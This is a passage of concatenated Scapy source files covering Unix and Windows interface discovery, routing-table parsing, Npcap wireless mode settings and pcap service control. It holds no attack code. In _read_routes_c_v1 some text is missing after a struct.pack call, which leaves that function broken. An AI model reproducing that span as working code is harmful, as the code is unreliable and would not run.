E402 from scapy.arch.unix import * # noqa: F401, F403, E402 from scapy.interfaces import NetworkInterface # noqa: E402 def get_working_if(): # type: () -> NetworkInterface """Return an interface that works""" try: # return the interface associated with the route with smallest # mask (route by default if it exists) iface = min(conf.route.routes, key=lambda x: x[1])[3] except ValueError: # no route iface = conf.loopback_name return conf.ifaces.dev_from_name(iface) ================================================ FILE: scapy/arch/unix.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Common customizations for all Unix-like operating systems other than Linux """ import os import socket import struct from fcntl import ioctl import scapy.config import scapy.utils from scapy.config import conf from scapy.consts import FREEBSD, NETBSD, OPENBSD, SOLARIS from scapy.error import log_runtime, warning from scapy.pton_ntop import inet_pton from scapy.utils6 import in6_getscope, construct_source_candidate_set from scapy.utils6 import in6_isvalid, in6_ismlladdr, in6_ismnladdr # Typing imports from typing import ( List, Optional, Tuple, Union, cast, ) def get_if(iff, cmd): # type: (str, int) -> bytes """Ease SIOCGIF* ioctl calls""" sck = socket.socket() try: return ioctl(sck, cmd, struct.pack("16s16x", iff.encode("utf8"))) finally: sck.close() def get_if_raw_hwaddr(iff, # type: str siocgifhwaddr=None, # type: Optional[int] ): # type: (...) -> Tuple[int, bytes] """Get the raw MAC address of a local interface. This function uses SIOCGIFHWADDR calls, therefore only works on some distros. :param iff: the network interface name as a string :returns: the corresponding raw MAC address """ if siocgifhwaddr is None: from scapy.arch import SIOCGIFHWADDR siocgifhwaddr = SIOCGIFHWADDR return cast( "Tuple[int, bytes]", struct.unpack( "16xH6s8x", get_if(iff, siocgifhwaddr) ) ) ################## # Routes stuff # ################## def _guess_iface_name(netif): # type: (str) -> Optional[str] """ We attempt to guess the name of interfaces that are truncated from the output of ifconfig -l. If there is only one possible candidate matching the interface name then we return it. If there are none or more, then we return None. """ with os.popen('%s -l' % conf.prog.ifconfig) as fdesc: ifaces = fdesc.readline().strip().split(' ') matches = [iface for iface in ifaces if iface.startswith(netif)] if len(matches) == 1: return matches[0] return None def read_routes(): # type: () -> List[Tuple[int, int, str, str, str, int]] """Return a list of IPv4 routes than can be used by Scapy. This function parses netstat. """ if SOLARIS: f = os.popen("netstat -rvn -f inet") elif FREEBSD: f = os.popen("netstat -rnW -f inet") # -W to show long interface names else: f = os.popen("netstat -rn -f inet") ok = 0 mtu_present = False prio_present = False refs_present = False use_present = False routes = [] # type: List[Tuple[int, int, str, str, str, int]] pending_if = [] # type: List[Tuple[int, int, str]] for line in f.readlines(): if not line: break line = line.strip().lower() if line.find("----") >= 0: # a separation line continue if not ok: if line.find("destination") >= 0: ok = 1 mtu_present = "mtu" in line prio_present = "prio" in line refs_present = "ref" in line # There is no s on Solaris use_present = "use" in line or "nhop" in line continue if not line: break rt = line.split() if SOLARIS: dest_, netmask_, gw, netif = rt[:4] flg = rt[4 + mtu_present + refs_present] else: dest_, gw, flg = rt[:3] locked = OPENBSD and rt[6] == "l" offset = mtu_present + prio_present + refs_present + locked offset += use_present netif = rt[3 + offset] if flg.find("lc") >= 0: continue elif dest_ == "default": dest = 0 netmask = 0 elif SOLARIS: dest = scapy.utils.atol(dest_) netmask = scapy.utils.atol(netmask_) else: if "/" in dest_: dest_, netmask_ = dest_.split("/") netmask = scapy.utils.itom(int(netmask_)) else: netmask = scapy.utils.itom((dest_.count(".") + 1) * 8) dest_ += ".0" * (3 - dest_.count(".")) dest = scapy.utils.atol(dest_) # XXX: TODO: add metrics for unix.py (use -e option on netstat) metric = 1 if "g" not in flg: gw = '0.0.0.0' if netif is not None: from scapy.arch import get_if_addr try: ifaddr = get_if_addr(netif) if ifaddr == "0.0.0.0": # This means the interface name is probably truncated by # netstat -nr. We attempt to guess it's name and if not we # ignore it. guessed_netif = _guess_iface_name(netif) if guessed_netif is not None: ifaddr = get_if_addr(guessed_netif) netif = guessed_netif else: log_runtime.info( "Could not guess partial interface name: %s", netif ) routes.append((dest, netmask, gw, netif, ifaddr, metric)) except OSError: raise else: pending_if.append((dest, netmask, gw)) f.close() # On Solaris, netstat does not provide output interfaces for some routes # We need to parse completely the routing table to route their gw and # know their output interface for dest, netmask, gw in pending_if: gw_l = scapy.utils.atol(gw) max_rtmask, gw_if, gw_if_addr = 0, None, None for rtdst, rtmask, _, rtif, rtaddr, _ in routes[:]: if gw_l & rtmask == rtdst: if rtmask >= max_rtmask: max_rtmask = rtmask gw_if = rtif gw_if_addr = rtaddr # XXX: TODO add metrics metric = 1 if gw_if and gw_if_addr: routes.append((dest, netmask, gw, gw_if, gw_if_addr, metric)) else: warning("Did not find output interface to reach gateway %s", gw) return routes ############ # IPv6 # ############ def _in6_getifaddr(ifname): # type: (str) -> List[Tuple[str, int, str]] """ Returns a list of IPv6 addresses configured on the interface ifname. """ # Get the output of ifconfig try: f = os.popen("%s %s" % (conf.prog.ifconfig, ifname)) except OSError: log_runtime.warning("Failed to execute ifconfig.") return [] # Iterate over lines and extract IPv6 addresses ret = [] for line in f: if "inet6" in line: addr = line.rstrip().split(None, 2)[1] # The second element is the IPv6 address # noqa: E501 else: continue if '%' in line: # Remove the interface identifier if present addr = addr.split("%", 1)[0] # Check if it is a valid IPv6 address try: inet_pton(socket.AF_INET6, addr) except (socket.error, ValueError): continue # Get the scope and keep the address scope = in6_getscope(addr) ret.append((addr, scope, ifname)) f.close() return ret def in6_getifaddr(): # type: () -> List[Tuple[str, int, str]] """ Returns a list of 3-tuples of the form (addr, scope, iface) where 'addr' is the address of scope 'scope' associated to the interface 'iface'. This is the list of all addresses of all interfaces available on the system. """ # List all network interfaces if OPENBSD or SOLARIS: if SOLARIS: cmd = "%s -a6" else: cmd = "%s" try: f = os.popen(cmd % conf.prog.ifconfig) except OSError: log_runtime.warning("Failed to execute ifconfig.") return [] # Get the list of network interfaces splitted_line = [] for line in f: if "flags" in line: iface = line.split()[0].rstrip(':') splitted_line.append(iface) else: # FreeBSD, NetBSD or Darwin try: f = os.popen("%s -l" % conf.prog.ifconfig) except OSError: log_runtime.warning("Failed to execute ifconfig.") return [] # Get the list of network interfaces splitted_line = f.readline().rstrip().split() ret = [] for i in splitted_line: ret += _in6_getifaddr(i) f.close() return ret def read_routes6(): # type: () -> List[Tuple[str, int, str, str, List[str], int]] """Return a list of IPv6 routes than can be used by Scapy. This function parses netstat. """ # Call netstat to retrieve IPv6 routes fd_netstat = os.popen("netstat -rn -f inet6") # List interfaces IPv6 addresses lifaddr = in6_getifaddr() if not lifaddr: fd_netstat.close() return [] # Routes header information got_header = False mtu_present = False prio_present = False # Parse the routes routes = [] for line in fd_netstat.readlines(): # Parse the routes header and try to identify extra columns if not got_header: if "Destination" == line[:11]: got_header = True mtu_present = "Mtu" in line prio_present = "Prio" in line continue # Parse a route entry according to the operating system splitted_line = line.split() if OPENBSD or NETBSD: index = 5 + mtu_present + prio_present if len(splitted_line) < index: warning("Not enough columns in route entry !") continue destination, next_hop, flags = splitted_line[:3] dev = splitted_line[index] else: # FREEBSD or DARWIN if len(splitted_line) < 4: warning("Not enough columns in route entry !") continue destination, next_hop, flags, dev = splitted_line[:4] # XXX: TODO: add metrics for unix.py (use -e option on netstat) metric = 1 # Check flags if "U" not in flags: # usable route continue if "R" in flags: # Host or net unreachable continue if "m" in flags: # multicast address # Note: multicast routing is handled in Route6.route() continue # Replace link with the default route in next_hop if "link" in next_hop: next_hop = "::" # Default prefix length destination_plen = 128 # type: Union[int, str] # Extract network interface from the zone id if '%' in destination: destination, dev = destination.split('%') if '/' in dev: # Example: fe80::%lo0/64 ; dev = "lo0/64" dev, destination_plen = dev.split('/') if '%' in next_hop: next_hop, dev = next_hop.split('%') # Ensure that the next hop is a valid IPv6 address if not in6_isvalid(next_hop): # Note: the 'Gateway' column might contain a MAC address next_hop = "::" # Modify parsed routing entries # Note: these rules are OS specific and may evolve over time if destination == "default": destination, destination_plen = "::", 0 elif '/' in destination: # Example: fe80::/10 destination, destination_plen = destination.split('/') if '/' in dev: # Example: ff02::%lo0/32 ; dev = "lo0/32" dev, destination_plen = dev.split('/') # Check route entries parameters consistency if not in6_isvalid(destination): warning("Invalid destination IPv6 address in route entry !") continue try: destination_plen = int(destination_plen) except Exception: warning("Invalid IPv6 prefix length in route entry !") continue if in6_ismlladdr(destination) or in6_ismnladdr(destination): # Note: multicast routing is handled in Route6.route() continue if conf.loopback_name in dev: # Handle ::1 separately cset = ["::1"] next_hop = "::" else: # Get possible IPv6 source addresses devaddrs = (x for x in lifaddr if x[2] == dev) cset = construct_source_candidate_set(destination, destination_plen, devaddrs) # noqa: E501 if len(cset): routes.append((destination, destination_plen, next_hop, dev, cset, metric)) # noqa: E501 fd_netstat.close() return routes ================================================ FILE: scapy/arch/windows/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ Customizations needed to support Microsoft Windows. """ from glob import glob import os import platform as platform_lib import socket import struct import subprocess as sp import warnings import winreg from scapy.arch.windows.structures import ( _windows_title, GetAdaptersAddresses, GetIpForwardTable, GetIpForwardTable2, get_service_status, ) from scapy.consts import WINDOWS, WINDOWS_XP from scapy.config import conf, ProgPath from scapy.error import ( Scapy_Exception, log_interactive, log_loading, log_runtime, warning, ) from scapy.interfaces import NetworkInterface, InterfaceProvider, \ dev_from_index, resolve_iface, network_name from scapy.pton_ntop import inet_ntop from scapy.utils import atol, itom, str2mac from scapy.utils6 import construct_source_candidate_set, in6_getscope from scapy.compat import plain_str from scapy.supersocket import SuperSocket # re-export from scapy.arch.common import get_if_raw_addr # noqa: F401 # Typing imports from typing import ( Any, Dict, Iterator, List, Optional, Tuple, Type, Union, cast, overload, ) from scapy.compat import Literal conf.use_pcap = True # These import must appear after setting conf.use_* variables from scapy.arch import libpcap # noqa: E402 from scapy.arch.libpcap import ( # noqa: E402 NPCAP_PATH, PCAP_IF_UP, ) # Detection happens after libpcap import (NPcap detection) NPCAP_LOOPBACK_NAME = r"\Device\NPF_Loopback" NPCAP_LOOPBACK_NAME_LEGACY = "Npcap Loopback Adapter" # before npcap 0.9983 if conf.use_npcap: conf.loopback_name = NPCAP_LOOPBACK_NAME else: try: if float(platform_lib.release()) >= 8.1: conf.loopback_name = "Microsoft KM-TEST Loopback Adapter" else: conf.loopback_name = "Microsoft Loopback Adapter" except ValueError: conf.loopback_name = "Microsoft Loopback Adapter" # hot-patching socket for missing variables on Windows if not hasattr(socket, 'IPPROTO_IPIP'): socket.IPPROTO_IPIP = 4 # type: ignore if not hasattr(socket, 'IP_RECVTTL'): socket.IP_RECVTTL = 12 # type: ignore if not hasattr(socket, 'IPV6_HDRINCL'): socket.IPV6_HDRINCL = 36 # type: ignore # https://github.com/python/cpython/issues/73701 if not hasattr(socket, 'IPPROTO_IPV6'): socket.IPPROTO_IPV6 = 41 if not hasattr(socket, 'SOL_IPV6'): socket.SOL_IPV6 = socket.IPPROTO_IPV6 # type: ignore if not hasattr(socket, 'IPPROTO_GRE'): socket.IPPROTO_GRE = 47 # type: ignore if not hasattr(socket, 'IPPROTO_AH'): socket.IPPROTO_AH = 51 if not hasattr(socket, 'IPPROTO_ESP'): socket.IPPROTO_ESP = 50 _WlanHelper = NPCAP_PATH + "\\WlanHelper.exe" def _encapsulate_admin(cmd): # type: (str) -> str """Encapsulate a command with an Administrator flag""" # To get admin access, we start a new powershell instance with admin # rights, which will execute the command. This needs to be done from a # powershell as we run it from a cmd. # ! Behold ! return ("powershell /command \"Start-Process cmd " "-windowstyle hidden -Wait -PassThru -Verb RunAs " "-ArgumentList '/c %s'\"" % cmd) def _get_npcap_config(param_key): # type: (str) -> Optional[str] """ Get a Npcap parameter matching key in the registry. List: AdminOnly, DefaultFilterSettings, DltNull, Dot11Adapters, Dot11Support LoopbackAdapter, LoopbackSupport, NdisImPlatformBindingOptions, VlanSupport WinPcapCompatible """ hkey = winreg.HKEY_LOCAL_MACHINE node = r"SYSTEM\CurrentControlSet\Services\npcap\Parameters" try: key = winreg.OpenKey(hkey, node) dot11_adapters, _ = winreg.QueryValueEx(key, param_key) winreg.CloseKey(key) except WindowsError: return None return cast(str, dot11_adapters) def _where(filename, dirs=None, env="PATH"): # type: (str, Optional[Any], str) -> str """Find file in current dir, in deep_lookup cache or in system path""" if dirs is None: dirs = [] if not isinstance(dirs, list): dirs = [dirs] if glob(filename): return filename paths = [os.curdir] + os.environ[env].split(os.path.pathsep) + dirs try: return next(os.path.normpath(match) for path in paths for match in glob(os.path.join(path, filename)) if match) except (StopIteration, RuntimeError): raise IOError("File not found: %s" % filename) def win_find_exe(filename, installsubdir=None, env="ProgramFiles"): # type: (str, Optional[Any], str) -> str """Find executable in current dir, system path or in the given ProgramFiles subdir, and retuen its absolute path. """ fns = [filename] if filename.endswith(".exe") else [filename + ".exe", filename] # noqa: E501 for fn in fns: try: if installsubdir is None: path = _where(fn) else: path = _where(fn, dirs=[os.path.join(os.environ[env], installsubdir)]) # noqa: E501 except IOError: path = None else: break return path or "" class WinProgPath(ProgPath): def __init__(self): # type: () -> None self._reload() def _reload(self): # type: () -> None self.pdfreader = "" self.psreader = "" self.svgreader = "" # We try some magic to find the appropriate executables self.dot = win_find_exe("dot") self.tcpdump = win_find_exe("windump") self.tshark = win_find_exe("tshark") self.tcpreplay = win_find_exe("tcpreplay") self.display = self._default self.hexedit = win_find_exe("hexer") self.sox = win_find_exe("sox") self.wireshark = win_find_exe("wireshark", "wireshark") self.extcap_folders = [ os.path.join(os.environ.get("appdata", ""), "Wireshark", "extcap"), os.path.join(os.environ.get("programfiles", ""), "Wireshark", "extcap"), ] self.powershell = win_find_exe( "powershell", installsubdir="System32\\WindowsPowerShell\\v1.0", env="SystemRoot" ) self.cmd = win_find_exe("cmd", installsubdir="System32", env="SystemRoot") def _exec_cmd(command): # type: (str) -> Tuple[bytes, int] """Call a CMD command and return the output and returncode""" proc = sp.Popen(command, stdout=sp.PIPE, shell=True) res = proc.communicate()[0] return res, proc.returncode conf.prog = WinProgPath() if conf.prog.tcpdump and conf.use_npcap: def test_windump_npcap(): # type: () -> bool """Return whether windump version is correct or not""" try: p_test_windump = sp.Popen([conf.prog.tcpdump, "-help"], stdout=sp.PIPE, stderr=sp.STDOUT) # noqa: E501 stdout, err = p_test_windump.communicate() _windows_title() _output = stdout.lower() return b"npcap" in _output and b"winpcap" not in _output except Exception: return False windump_ok = test_windump_npcap() if not windump_ok: log_loading.warning( "The installed Windump version does not work with Npcap! " "Refer to 'Winpcap/Npcap conflicts' in scapy's installation doc" ) del windump_ok def get_windows_if_list(extended=False): # type: (bool) -> List[Dict[str, Any]] """Returns windows interfaces through GetAdaptersAddresses. params: - extended: include anycast and multicast IPv6 (default False)""" # Should work on Windows XP+ def _get_mac(x): # type: (Dict[str, Any]) -> str size = x["physical_address_length"] if size != 6: return "" data = bytearray(x["physical_address"]) return str2mac(bytes(data)[:size]) def _resolve_ips(y): # type: (List[Dict[str, Any]]) -> List[str] if not isinstance(y, list): return [] ips = [] for ip in y: addr = ip['address']['address'].contents if addr.si_family == socket.AF_INET6: ip_key = "Ipv6" si_key = "sin6_addr" else: ip_key = "Ipv4" si_key = "sin_addr" data = getattr(addr, ip_key) data = getattr(data, si_key) data = bytes(bytearray(data.byte)) # Build IP if data: ips.append(inet_ntop(addr.si_family, data)) return ips def _get_ips(x): # type: (Dict[str, Any]) -> List[str] unicast = x['first_unicast_address'] anycast = x['first_anycast_address'] multicast = x['first_multicast_address'] ips = [] ips.extend(_resolve_ips(unicast)) if extended: ips.extend(_resolve_ips(anycast)) ips.extend(_resolve_ips(multicast)) return ips return [ { "name": plain_str(x["friendly_name"]), "index": x["interface_index"], "description": plain_str(x["description"]), "guid": plain_str(x["adapter_name"]), "mac": _get_mac(x), "type": x["interface_type"], "ipv4_metric": 0 if WINDOWS_XP else x["ipv4_metric"], "ipv6_metric": 0 if WINDOWS_XP else x["ipv6_metric"], "ips": _get_ips(x), "nameservers": _resolve_ips(x["first_dns_server_address"]) } for x in GetAdaptersAddresses() ] def _pcapname_to_guid(pcap_name): # type: (str) -> str """Converts a Winpcap/Npcap pcpaname to its guid counterpart. e.g. \\DEVICE\\NPF_{...} => {...} """ if "{" in pcap_name: return "{" + pcap_name.split("{")[1] return pcap_name class NetworkInterface_Win(NetworkInterface): """A network interface of your local host""" def __init__(self, provider, data=None): # type: (WindowsInterfacesProvider, Optional[Dict[str, Any]]) -> None self.cache_mode = None # type: Optional[bool] self.ipv4_metric = None # type: Optional[int] self.ipv6_metric = None # type: Optional[int] self.nameservers = [] # type: List[str] self.guid = None # type: Optional[str] self.raw80211 = None # type: Optional[bool] super(NetworkInterface_Win, self).__init__(provider, data) def update(self, data): # type: (Dict[str, Any]) -> None """Update info about a network interface according to a given dictionary. Such data is provided by get_windows_if_list """ # Populated early because used below self.network_name = data['network_name'] # Windows specific self.guid = data['guid'] self.ipv4_metric = data['ipv4_metric'] self.ipv6_metric = data['ipv6_metric'] self.nameservers = data['nameservers'] try: # Npcap loopback interface if conf.use_npcap and self.network_name == conf.loopback_name: # https://nmap.org/npcap/guide/npcap-devguide.html data["mac"] = "00:00:00:00:00:00" data["ip"] = "127.0.0.1" data["ip6"] = "::1" data["ips"] = ["127.0.0.1", "::1"] except KeyError: pass super(NetworkInterface_Win, self).update(data) def _check_npcap_requirement(self): # type: () -> None if not conf.use_npcap: raise OSError("This operation requires Npcap.") if self.raw80211 is None: val = _get_npcap_config("Dot11Support") self.raw80211 = bool(int(val)) if val else False if not self.raw80211: raise Scapy_Exception("Npcap 802.11 support is NOT enabled !") def _npcap_set(self, key, val): # type: (str, str) -> bool """Internal function. Set a [key] parameter to [value]""" if self.guid is None: raise OSError("Interface not setup") res, code = _exec_cmd(_encapsulate_admin( " ".join([_WlanHelper, self.guid[1:-1], key, val]) )) _windows_title() # Reset title of the window if code != 0: raise OSError(res.decode("utf8", errors="ignore")) return True def _npcap_get(self, key): # type: (str) -> str if self.guid is None: raise OSError("Interface not setup") res, code = _exec_cmd(" ".join([_WlanHelper, self.guid[1:-1], key])) _windows_title() # Reset title of the window if code != 0: raise OSError(res.decode("utf8", errors="ignore")) return plain_str(res.strip()) def mode(self): # type: () -> str """Get the interface operation mode. Only available with Npcap.""" self._check_npcap_requirement() return self._npcap_get("mode") def ismonitor(self): # type: () -> bool """Returns True if the interface is in monitor mode. Only available with Npcap.""" if self.cache_mode is not None: return self.cache_mode try: res = (self.mode() == "monitor") self.cache_mode = res return res except Scapy_Exception: return False def setmonitor(self, enable=True): # type: (bool) -> bool """Alias for setmode('monitor') or setmode('managed') Only available with Npcap""" # We must reset the monitor cache if enable: res = self.setmode('monitor') else: res = self.setmode('managed') if not res: log_runtime.error("Npcap WlanHelper returned with an error code !") self.cache_mode = None tmp = self.cache_mode = self.ismonitor() return tmp if enable else (not tmp) def availablemodes(self): # type: () -> List[str] """Get all available interface modes. Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() return self._npcap_get("modes").split(",") def setmode(self, mode): # type: (Union[str, int]) -> bool """Set the interface mode. It can be: - 0 or managed: Managed Mode (aka "Extensible Station Mode") - 1 or monitor: Monitor Mode (aka "Network Monitor Mode") - 2 or master: Master Mode (aka "Extensible Access Point") (supported from Windows 7 and later) - 3 or wfd_device: The Wi-Fi Direct Device operation mode (supported from Windows 8 and later) - 4 or wfd_owner: The Wi-Fi Direct Group Owner operation mode (supported from Windows 8 and later) - 5 or wfd_client: The Wi-Fi Direct Client operation mode (supported from Windows 8 and later) Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() _modes = { 0: "managed", 1: "monitor", 2: "master", 3: "wfd_device", 4: "wfd_owner", 5: "wfd_client" } m = _modes.get(mode, "unknown") if isinstance(mode, int) else mode return self._npcap_set("mode", m) def channel(self): # type: () -> int """Get the channel of the interface. Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() return int(self._npcap_get("channel")) def setchannel(self, channel): # type: (int) -> bool """Set the channel of the interface (1-14): Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() return self._npcap_set("channel", str(channel)) def frequency(self): # type: () -> int """Get the frequency of the interface. Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() return int(self._npcap_get("freq")) def setfrequency(self, freq): # type: (int) -> bool """Set the channel of the interface (1-14): Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() return self._npcap_set("freq", str(freq)) def availablemodulations(self): # type: () -> List[str] """Get all available 802.11 interface modulations. Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() return self._npcap_get("modus").split(",") def modulation(self): # type: () -> str """Get the 802.11 modulation of the interface. Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() return self._npcap_get("modu") def setmodulation(self, modu): # type: (int) -> bool """Set the interface modulation. It can be: - 0: dsss - 1: fhss - 2: irbaseband - 3: ofdm - 4: hrdss - 5: erp - 6: ht - 7: vht - 8: ihv - 9: mimo-ofdm - 10: mimo-ofdm - the value directly Only available with Npcap.""" # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 self._check_npcap_requirement() _modus = { 0: "dsss", 1: "fhss", 2: "irbaseband", 3: "ofdm", 4: "hrdss", 5: "erp", 6: "ht", 7: "vht", 8: "ihv", 9: "mimo-ofdm", 10: "mimo-ofdm", } m = _modus.get(modu, "unknown") if isinstance(modu, int) else modu return self._npcap_set("modu", str(m)) class WindowsInterfacesProvider(InterfaceProvider): name = "libpcap" libpcap = True def _is_valid(self, dev): # type: (NetworkInterface) -> bool # Winpcap (and old Npcap) have no support for PCAP_IF_UP :( if dev.flags == 0: return True return bool(dev.flags & PCAP_IF_UP) @classmethod def _pcap_check(cls): # type: () -> None """Performs checks/restart pcap adapter""" if not conf.use_pcap: # Winpcap/Npcap isn't installed return _detect = pcap_service_status() def _ask_user(): # type: () -> bool if not conf.interactive: return False msg = "Do you want to start it ? (yes/no) [y]: " try: # Better IPython compatibility import IPython return cast(bool, IPython.utils.io.ask_yes_no(msg, default='y')) except (NameError, ImportError): while True: _confir = input(msg) _confir = _confir.lower().strip() if _confir in ["yes", "y", ""]: return True elif _confir in ["no", "n"]: return False if _detect: # No action needed return else: log_interactive.warning( "Scapy has detected that your pcap service is not running !" ) if not conf.interactive or _ask_user(): succeed = pcap_service_start(askadmin=conf.interactive) if succeed: log_loading.info("Pcap service started !") return log_loading.warning( "Could not start the pcap service! " "You probably won't be able to send packets. " "Check your winpcap/npcap installation " "and access rights." ) def load(self, NetworkInterface_Win=NetworkInterface_Win): # type: (type) -> Dict[str, NetworkInterface] results = {} if not conf.cache_pcapiflist: # Try a restart WindowsInterfacesProvider._pcap_check() legacy_npcap_guid = None windows_interfaces = dict() for i in get_windows_if_list(): # Only consider interfaces with a GUID if i['guid']: if conf.use_npcap: # Detect the legacy Loopback interface if i['name'] == NPCAP_LOOPBACK_NAME_LEGACY: # Legacy Npcap (<0.9983) legacy_npcap_guid = i['guid'] elif "Loopback" in i['name']: # Newer Npcap i['guid'] = conf.loopback_name # Map interface windows_interfaces[i['guid']] = i def iterinterfaces() -> Iterator[ Tuple[str, Optional[str], List[str], int, str, Optional[Dict[str, Any]]] ]: if conf.use_pcap: # We have a libpcap provider: enrich pcap interfaces with # Windows data for netw, if_data in conf.cache_pcapiflist.items(): name, ips, flags, _, _ = if_data guid = _pcapname_to_guid(netw) if guid == legacy_npcap_guid: # Legacy Npcap detected ! conf.loopback_name = netw data = windows_interfaces.get(guid, None) yield netw, name, ips, flags, guid, data else: # We don't have a libpcap provider: only use Windows data for guid, data in windows_interfaces.items(): netw = r'\Device\NPF_' + guid if guid[0] != '\\' else guid yield netw, None, [], 0, guid, data index = 0 for netw, name, ips, flags, guid, data in iterinterfaces(): if data: # Exists in Windows registry data['network_name'] = netw data['ips'] = list(set(data['ips'] + ips)) data['flags'] = flags else: # Only in [Wi]npcap index -= 1 data = { 'name': name, 'description': name, 'index': index, 'guid': guid, 'network_name': netw, 'mac': '00:00:00:00:00:00', 'ipv4_metric': 0, 'ipv6_metric': 0, 'ips': ips, 'flags': flags, 'nameservers': [], } # No KeyError will happen here, as we get it from cache results[netw] = NetworkInterface_Win(self, data) return results def reload(self): # type: () -> Dict[str, NetworkInterface] """Reload interface list""" self.restarted_adapter = False if conf.use_pcap: # Reload from Winpcapy from scapy.arch.libpcap import load_winpcapy load_winpcapy() return self.load() def _l3socket(self, dev, ipv6): # type: (NetworkInterface, bool) -> Type[SuperSocket] """Return L3 socket used by interfaces of this provider""" if ipv6: return conf.L3socket6 else: return conf.L3socket # Register provider conf.ifaces.register_provider(WindowsInterfacesProvider) def get_ips(v6=False): # type: (bool) -> Dict[NetworkInterface, List[str]] """Returns all available IPs matching to interfaces, using the windows system. Should only be used as a WinPcapy fallback. :param v6: IPv6 addresses """ res = {} for iface in conf.ifaces.values(): if v6: res[iface] = iface.ips[6] else: res[iface] = iface.ips[4] return res def get_ip_from_name(ifname, v6=False): # type: (str, bool) -> str """Backward compatibility: indirectly calls get_ips Deprecated. """ warnings.warn( "get_ip_from_name is deprecated. Use the `ip` attribute of the iface " "or use get_ips() to get all ips per interface.", DeprecationWarning ) iface = conf.ifaces.dev_from_name(ifname) return get_ips(v6=v6).get(iface, [""])[0] def pcap_service_name(): # type: () -> str """Return the pcap adapter service's name""" return "npcap" if conf.use_npcap else "npf" def pcap_service_status(): # type: () -> bool """Returns whether the windows pcap adapter is running or not""" status = get_service_status(pcap_service_name()) return status["dwCurrentState"] == 4 def _pcap_service_control(action, askadmin=True): # type: (str, bool) -> bool """Internal util to run pcap control command""" command = action + ' ' + pcap_service_name() res, code = _exec_cmd(_encapsulate_admin(command) if askadmin else command) if code != 0: warning(res.decode("utf8", errors="ignore")) return (code == 0) def pcap_service_start(askadmin=True): # type: (bool) -> bool """Starts the pcap adapter. Will ask for admin. Returns True if success""" return _pcap_service_control('sc start', askadmin=askadmin) def pcap_service_stop(askadmin=True): # type: (bool) -> bool """Stops the pcap adapter. Will ask for admin. Returns True if success""" return _pcap_service_control('sc stop', askadmin=askadmin) if conf.use_pcap: _orig_open_pcap = libpcap.open_pcap def open_pcap(device, # type: Union[str, NetworkInterface] *args, # type: Any **kargs # type: Any ): # type: (...) -> libpcap._PcapWrapper_libpcap """open_pcap: Windows routine for creating a pcap from an interface. This function is also responsible for detecting monitor mode. """ iface = cast(NetworkInterface_Win, resolve_iface(device)) iface_network_name = iface.network_name if not iface: raise Scapy_Exception( "Interface is invalid (no pcap match found)!" ) # Only check monitor mode when manually specified. # Checking/setting for monitor mode will slow down the process, and the # common is case is not to use monitor mode kw_monitor = kargs.get("monitor", None) if conf.use_npcap and kw_monitor is not None: monitored = iface.ismonitor() if kw_monitor is not monitored: # The monitor param is specified, and not matching the current # interface state iface.setmonitor(kw_monitor) return _orig_open_pcap(iface_network_name, *args, **kargs) libpcap.open_pcap = open_pcap # type: ignore def _read_routes_c_v1(): # type: () -> List[Tuple[int, int, str, str, str, int]] """Retrieve Windows routes through a GetIpForwardTable call. This is compatible with XP but won't get IPv6 routes.""" def _extract_ip(obj): # type: (int) -> str return inet_ntop(socket.AF_INET, struct.pack(" int if WINDOWS_XP: return struct.unpack("I", ip))[0] return ip routes = [] for route in GetIpForwardTable(): ifIndex = route['ForwardIfIndex'] dest = _proc(route['ForwardDest']) netmask = _proc(route['ForwardMask']) nexthop = _extract_ip(route['ForwardNextHop']) metric = route['ForwardMetric1'] # Build route try: iface = cast(NetworkInterface_Win, dev_from_index(ifIndex)) if not iface.ip or iface.ip == "0.0.0.0": continue except ValueError: continue ip = iface.ip netw = network_name(iface) # RouteMetric + InterfaceMetric metric = metric + iface.ipv4_metric routes.append((dest, netmask, nexthop, netw, ip, metric)) return routes @overload def _read_routes_c(ipv6): # noqa: F811 # type: (Literal[True]) -> List[Tuple[str, int, str, str, List[str], int]] pass @overload def _read_routes_c(ipv6=False): # noqa: F811 # type: (Literal[False]) -> List[Tuple[int, int, str, str, str, int]] pass def _read_routes_c(ipv6=False): # noqa: F811 # type: (bool) -> Union[List[Tuple[int, int, str, str, str, int]], List[Tuple[str, int, str, str, List[str], int]]] # noqa: E501 """Retrieve Windows routes through a GetIpForwardTable2 call. This is not available on Windows XP !""" af = socket.AF_INET6 if ipv6 else socket.AF_INET sock_addr_name = 'Ipv6' if ipv6 else 'Ipv4' sin_addr_name = 'sin6_addr' if ipv6 else 'sin_addr' metric_name = 'ipv6_metric' if ipv6 else 'ipv4_metric' if ipv6: lifaddr = in6_getifaddr() routes = [] # type: List[Any] def _extract_ip(obj): # type: (Dict[str, Any]) -> str ip = obj[sock_addr_name][sin_addr_name] ip = bytes(bytearray(ip['byte'])) # Build IP return inet_ntop(af, ip) for route in GetIpForwardTable2(af): # Extract data ifIndex = route['InterfaceIndex'] dest = _extract_ip(route['DestinationPrefix']['Prefix']) netmask = route['DestinationPrefix']['PrefixLength'] nexthop = _extract_ip(route['NextHop']) metric = route['Metric'] # Build route try: iface = dev_from_index(ifIndex) if not iface.ip or iface.ip == "0.0.0.0": continue except ValueError: continue ip = iface.ip netw = network_name(iface) # RouteMetric + InterfaceMetric metric = metric + 